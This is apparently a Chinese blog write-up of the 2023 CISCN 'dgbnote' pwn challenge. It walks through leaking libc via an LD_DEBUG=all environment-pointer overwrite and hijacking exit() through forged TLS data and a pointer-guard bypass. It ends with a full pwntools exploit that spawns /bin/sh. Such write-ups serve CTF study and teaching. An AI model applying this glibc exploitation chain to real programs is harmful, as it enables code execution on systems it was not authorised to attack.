2023Ciscn-dgbnote详解

文章发布时间:

最后更新时间:

文章总字数:
2.7k

预计阅读时间:
11 分钟

2023Ciscn华东南分区赛遇到的一题 觉得题目的考点非常新颖和有趣 所以打算仔细研究一下

signal

题目用到了singal函数 该函数可以捕捉对应的信号 并且调用指定的信号处理函数

来看一下题目中所涉及到的两个single函数

1
2
signal(6, handler);
signal(14, my_exit);

第一个参数代表的是产生的信号 这里的6是SIGABRT 当进程非正常终止 调用abort函数的时候会触发

14是SIGALRM 如果程序设置的alarm函数超时 就会触发

下面是截取网上的大部分信号表格及其描述

Signal Description
SIGABRT 由调用abort函数产生,进程非正常退出
SIGALRM 用alarm函数设置的timer超时或setitimer函数设置的interval timer超时
SIGBUS 某种特定的硬件异常,通常由内存访问引起
SIGCANCEL 由Solaris Thread Library内部使用,通常不会使用
SIGCHLD 进程Terminate或Stop的时候,SIGCHLD会发送给它的父进程。缺省情况下该Signal会被忽略
SIGCONT 当被stop的进程恢复运行的时候,自动发送
SIGEMT 和实现相关的硬件异常
SIGFPE 数学相关的异常,如被0除,浮点溢出,等等
SIGFREEZE Solaris专用,Hiberate或者Suspended时候发送
SIGHUP 发送给具有Terminal的Controlling Process,当terminal被disconnect时候发送
SIGILL 非法指令异常
SIGINFO BSD signal。由Status Key产生,通常是CTRL+T。发送给所有Foreground Group的进程
SIGINT 由Interrupt Key产生,通常是CTRL+C或者DELETE。发送给所有ForeGround Group的进程
SIGIO 异步IO事件
SIGIOT 实现相关的硬件异常,一般对应SIGABRT
SIGKILL 无法处理和忽略。中止某个进程
SIGLWP 由Solaris Thread Libray内部使用
SIGPIPE 在reader中止之后写Pipe的时候发送
SIGPOLL 当某个事件发送给Pollable Device的时候发送
SIGPROF Setitimer指定的Profiling Interval Timer所产生
SIGPWR 和系统相关。和UPS相关。
SIGQUIT 输入Quit Key的时候(CTRL+\)发送给所有Foreground Group的进程
SIGSEGV 非法内存访问
SIGSTKFLT Linux专用,数学协处理器的栈异常
SIGSTOP 中止进程。无法处理和忽略。
SIGSYS 非法系统调用
SIGTERM 请求中止进程,kill命令缺省发送
SIGTHAW Solaris专用,从Suspend恢复时候发送
SIGTRAP 实现相关的硬件异常。一般是调试异常
SIGTSTP Suspend Key,一般是Ctrl+Z。发送给所有Foreground Group的进程
SIGTTIN 当Background Group的进程尝试读取Terminal的时候发送
SIGTTOU 当Background Group的进程尝试写Terminal的时候发送
SIGURG 当out-of-band data接收的时候可能发送
SIGUSR1 用户自定义signal 1
SIGUSR2 用户自定义signal 2
SIGVTALRM setitimer函数设置的Virtual Interval Timer超时的时候
SIGWAITING Solaris Thread Library内部实现专用
SIGWINCH 当Terminal的窗口大小改变的时候,发送给Foreground Group的所有进程
SIGXCPU 当CPU时间限制超时的时候
SIGXFSZ 进程超过文件大小限制
SIGXRES Solaris专用,进程超过资源限制的时候发送

该函数用于获取当前程序的绝对路径

其一共有三个参数 第一个参数代表一个符号链接 第二个参数代表要存储的空间 第三个参数代表多少字节

而/proc/self/exe指向当前程序的绝对路径 所以原题中的

1
readlink("/proc/self/exe", v2, 0x4FuLL);

就相当于获取当前程序的绝对路径 并且存储到v2内存空间中

execve

配合上面我们得到v2中存储的是当前程序的绝对路径

题目中的这一行 相当于就是重新运行了程序

1
execve(v2, *&buf[56], *&buf[48]);

第二个和第三个参数用来规定新线程中的argv和envp参数

argv

简单来说 argv就是传入main函数的参数数组 其中argv[0]是程序名 本题中main函数一开就对argv的参数做了检测

1
2
3
4
5
6
7
8
9
v4 = a2[1];
if ( !strcmp(v4, "dbg") )
sub_1B70();
if ( strcmp(v4, "run") )
{
LABEL_2:
puts("Error.");
exit(0);
}

如果为dbg 那么就可以进入sub_1b70函数 这个函数中存在任意写的机会

而如果程序的argv[1]参数不是run 就会终止程序 在远程环境中 默认就是以run为参数运行的程序 在我们本地复现的时候 需要注意手动加上参数

image-20230704150138479

1
io = process(["./pwn",'run'])

envp

envp是main函数的第三个参数 用来存储环境变量的指针 而有这样一个环境变量 LD_DEBUG=all

其原本是用来查看链接库的情况 从而诊断报错 但是其在输出一系列信息的同时 会顺带输出libc地址

image-20230704152739137

解题思路

到此为之 题目的核心考点其实比较明了了 就是利用信号14的handler函数来重新启动程序 并且我们可以控制argv的参数 使其为dbg 我们就可以进入漏洞函数

为了实现这一点 我们需要触发abort 而本题开启了canary 并且在输入index或者是size时 存在了单字节的溢出 可以覆盖到canary的最后一个字节 那么当check触发时 调用__stack_chk_fail函数时 其内部会通过libc_message函数来输出报错信息 其中就会调用到abort函数

image-20230704151349487

但是还有一个问题我们没有办法解决 虽然dgb函数中给了我们任意地址读和任意地址写的功能 但是开启了PIE保护的情况下 我们要如何获取libc地址来构造rop链呢

就是利用将程序的环境变量指针替换为指向LD_DEBUG=all字符串的指针 从而泄露libc

你可以注意到 在我们输入username后的下一个输入点 存在2字节的溢出 而后面的内容正好是envp环境变量

image-20230704152944558

image-20230704152909029

同时你可以发现sub_14b0函数 可以泄露出栈地址的后两个字节

image-20230704153210244

而我们如果在一开始的username中输入LD_DEBUG=all字符串 那么此时就可以在对应的偏移中看到指向该字符串的指针

配合该偏移 我们可以在后续的溢出中将环境变量的指针替换成指向LD_DEBUG=all字符串 从而在程序重新运行的时候输出libc基址

exit调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __noreturn sub_1B70()
{
char *s[9]; // [rsp+0h] [rbp+0h] BYREF

s[1] = __readfsqword(0x28u);
puts("Please don't patch this normal function, we will check it!");
puts("[+] Debug the note.");
s[0] = 0LL;
__printf_chk(1LL, "[Addr] ");
read(0, s, 8uLL);
__printf_chk(1LL, "[Read] ");
puts(s[0]);
__printf_chk(1LL, "[Addr] ");
read(0, s, 8uLL);
__printf_chk(1LL, "[Write] ");
read(0, s[0], 0x90uLL);
exit(0);
}

可以看到dbg函数虽然给了任意地址读和任意地址写 看起来好像我们可以往栈上写入rop链 随后劫持程序执行流 但是实际不会执行到leave和ret来结束栈帧 就会触发exit 所以我们这里只能通过布局tls结构体来控制exit函数

2.35以上的版本 exit函数内部调用了__run_exit_handlers函数

image-20230704170431440

而该函数内部又调用了一个关键的函数 可以供我们实现任意函数调用

image-20230704170511575

下面跟着我来分析一下如何构造tls结构体 以此来实现system函数调用

image-20230704170734787

这里的rbx的值通常是不会变化的 其取决于rip索引 我们这里需要使得je跳转失败 从而才能进入任意函数调用的部分

这里的rbp取值是根据tls结构体低地址处 我们计算好偏移以后 利用dgb函数的任意写机会将其修改不为0后即可不跳转

image-20230704171004573

这部分的内容是新版本加入的指针保护机制 通过循环右移11位后和tls结构体中的key异或后解密指针

当然我们拥有tls结构体任意写的权限话 很容易就能绕过 我们只需要使得rax一开始为0 设置fs:0x30处为system函数

异或过后rax的值就被设置成了system函数地址

而rdi寄存器的参数取决于rbp寄存器 rbp寄存器的值取决于我们一开始任意写的地址 fs_base-88处存放的值

计算好偏移 我们可以得到下面的payload 其可以实现call system 并且rdi参数为binsh

1
2
3
payload = p64(target+0x8)+p64(0)+p64(target+0x18)+b'/bin/sh\x00'
payload = payload.ljust(0x68,b'\x00')
payload = payload.ljust(0x88,b'\x00')+p64(system_addr)

但是你会发现system函数会卡在这里

image-20230704171453250

这是因为我们破坏了tls结构体 我们把断点打在pthread_setcancelstate

看看rdx寄存器是怎么样赋值的

image-20230704171544271

于是fs_base+0x10处的值不能被破坏 我们通过观察原本的tls结构会发现 其和fs_base+0x8处 是构成一个链表 由偏移0x10处指向偏移0x8处 而偏移0x8处指向自身

image-20230704171742004

但是经过我实际测试 我们只需要保证fs:0x10处的地址+0x971后 是一个可读的内存地址即可 也就是说libc_addr-0x972也可以通过

那么最后的payload即为:

1
2
3
payload = p64(target+0x8)+p64(0)+p64(target+0x18)+b'/bin/sh\x00'
payload = payload.ljust(0x68,b'\x00')+p64(libc_addr-0x972)
payload = payload.ljust(0x88,b'\x00')+p64(system_addr)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
from ctypes import *
io = process(["./pwn",'run'])
#io = remote("175.20.26.10",9999)
elf = ELF("./pwn")
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6")

io.recvuntil("UserName: ")
io.sendline(b'LD_DEBUG=all')
io.recvuntil("LD_DEBUG=all@Note $ ")
# gdb.attach(io,'b *$rebase(0x150D)')
# pause(0)
io.sendline("++--++--")
# pause()
io.recvuntil("Super note: ")
number = int(io.recv(5),10)
success(hex(number))
io.recvuntil("LD_DEBUG=all@Note $ ")
# gdb.attach(io,'b *$rebase(0x1730)')
# pause(0)
number += 0x1c
payload = cyclic(0x30)+p16(number)
io.send(payload)
# pause()
io.recvuntil("LD_DEBUG=all@Note $ ")
io.sendline(b'Note_Add')
io.recvuntil("Size: ")
payload = cyclic(0x19)
# gdb.attach(io,'b *$rebase(0x17ff)')
# pause(0)
io.send(payload)
# pause()
io.recvuntil("base: ")
libc_addr = int(io.recv(18),16)
success("libc_addr :"+hex(libc_addr))
io.recvuntil("[Addr] ")
# gdb.attach(io,'b *$rebase(0x1BF1)')
# pause(0)
envp_addr = libc_addr + libc.sym['environ']
io.send(p64(libc_addr))
# pause()
target = libc_addr - 0x2898 - 0x28 - 0x58
stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success("stack_addr :"+hex(stack_addr))
io.recvuntil("[Addr] ")
success("target_addr :"+hex(target))
# gdb.attach(io,'b *$rebase(0x1C32)')
# pause(0)
io.send(p64(target))
# pause()

system_addr = libc_addr + libc.sym['system']

payload = p64(target+0x8)+p64(0)+p64(target+0x18)+b'/bin/sh\x00'
payload = payload.ljust(0x68,b'\x00')+p64(libc_addr-0x972)
payload = payload.ljust(0x88,b'\x00')+p64(system_addr)
io.recvuntil("[Write] ")
# gdb.attach(io,'b *$rebase(0x1C6A)')
# pause(0)
io.send(payload)
# pause()
io.interactive()